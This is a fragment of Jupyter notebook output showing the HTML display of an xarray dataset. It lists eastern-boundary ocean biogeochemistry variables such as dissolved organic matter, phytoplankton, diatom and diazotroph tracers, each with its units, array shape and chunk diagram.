class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary dissolved organic nitrogen</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 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eta_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-b978dc85-a439-46f4-9562-800eb25478ee' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-b978dc85-a439-46f4-9562-800eb25478ee' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-165e516a-b5a4-4fb9-930b-8492e30cb065' class='xr-var-data-in' type='checkbox'><label for='data-165e516a-b5a4-4fb9-930b-8492e30cb065' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary dissolved organic phosphorus</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" 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:</span></dt><dd>eastern boundary refractory dissolved organic phosphorus</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line 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type='checkbox'><label for='data-bdd9db82-c05d-453d-8b38-9fe8092cb38a' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary refractory dissolved organic nitrogen</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 10.0,117.6470588235294\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"130\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"153\" y2=\"23\" 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for='attrs-22673fd7-16ed-4af4-90a8-1b5fa22ff637' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-3ea61f35-b66e-4be8-8baf-182b4fd1ede2' class='xr-var-data-in' type='checkbox'><label for='data-3ea61f35-b66e-4be8-8baf-182b4fd1ede2' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary refractory dissolved organic carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 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eta_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-60a07923-fd27-4bfb-9b62-d7bc1ce9be6f' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-60a07923-fd27-4bfb-9b62-d7bc1ce9be6f' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-104f7012-c8ae-4a75-ab68-791be41e7bb4' class='xr-var-data-in' type='checkbox'><label for='data-104f7012-c8ae-4a75-ab68-791be41e7bb4' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary small phytoplankton chlorophyll</dd><dt><span>units :</span></dt><dd>mg/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" 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:</span></dt><dd>eastern boundary small phytoplankton carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" 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for='data-e2566999-ae84-4691-860a-1d75c0d52e88' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary small phytoplankton phosphorous</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 10.0,117.6470588235294\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"130\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"153\" y2=\"23\" style=\"stroke-width:2\" />\n", "\n", " <!-- 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for='attrs-a18b519c-02b9-43a9-a5c7-5062e37aa451' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-0bec3f0e-2886-43c9-b3a8-ddbbda0e3b60' class='xr-var-data-in' type='checkbox'><label for='data-0bec3f0e-2886-43c9-b3a8-ddbbda0e3b60' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary small phytoplankton iron</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape 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class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-ca201411-e5f5-414e-8bde-b32f60a11b9e' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-ca201411-e5f5-414e-8bde-b32f60a11b9e' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-375c9815-72ee-4b8f-b7dd-9698c205d2a9' class='xr-var-data-in' type='checkbox'><label for='data-375c9815-72ee-4b8f-b7dd-9698c205d2a9' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary diatom chloropyll</dd><dt><span>units :</span></dt><dd>mg/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line 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:</span></dt><dd>eastern boundary diatom carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" 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for='data-8446097b-e842-418f-8891-d21790d240b4' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary diatom phosphorus</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray 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for='attrs-79efeb83-7ac5-4f58-b0db-07ef2c8aecf5' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-39f01539-1fbc-4327-88d4-c86d4459fbf8' class='xr-var-data-in' type='checkbox'><label for='data-39f01539-1fbc-4327-88d4-c86d4459fbf8' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary diatom iron</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 10.0,117.6470588235294\" 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y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"33.221730347650876,23.22173034765088 153.22173034765086,23.22173034765088 153.22173034765086,140.86878917118028 33.221730347650876,140.86878917118028\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"93.221730\" y=\"160.868789\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"173.221730\" y=\"82.045260\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,173.221730,82.045260)\">100</text>\n", " <text x=\"11.610865\" y=\"149.257924\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,11.610865,149.257924)\">12</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>diatSi_east</span></div><div class='xr-var-dims'>(bry_time, s_rho, eta_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-7d133b5a-1618-4806-928f-3e49fb9bb427' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-7d133b5a-1618-4806-928f-3e49fb9bb427' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-724494a7-f492-4640-8aa6-ceb8ff58ac3d' class='xr-var-data-in' type='checkbox'><label for='data-724494a7-f492-4640-8aa6-ceb8ff58ac3d' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary diatom silicate</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line 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<line x1=\"33\" y1=\"140\" x2=\"153\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", " <line x1=\"153\" y1=\"23\" x2=\"153\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"33.221730347650876,23.22173034765088 153.22173034765086,23.22173034765088 153.22173034765086,140.86878917118028 33.221730347650876,140.86878917118028\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"93.221730\" y=\"160.868789\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"173.221730\" y=\"82.045260\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,173.221730,82.045260)\">100</text>\n", " <text x=\"11.610865\" y=\"149.257924\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" 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:</span></dt><dd>eastern boundary diazotroph chloropyll</dd><dt><span>units :</span></dt><dd>mg/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" 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points=\"10.0,0.0 130.0,0.0 153.2217303476509,23.22173034765088 33.221730347650876,23.22173034765088\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"33\" y1=\"23\" x2=\"153\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"140\" x2=\"153\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", " <line x1=\"153\" y1=\"23\" x2=\"153\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"33.221730347650876,23.22173034765088 153.22173034765086,23.22173034765088 153.22173034765086,140.86878917118028 33.221730347650876,140.86878917118028\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"93.221730\" y=\"160.868789\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"173.221730\" y=\"82.045260\" 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for='data-e37d5e33-3d2b-470e-a908-5e5397f714b0' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary diazotroph carbon</dd><dt><span>units 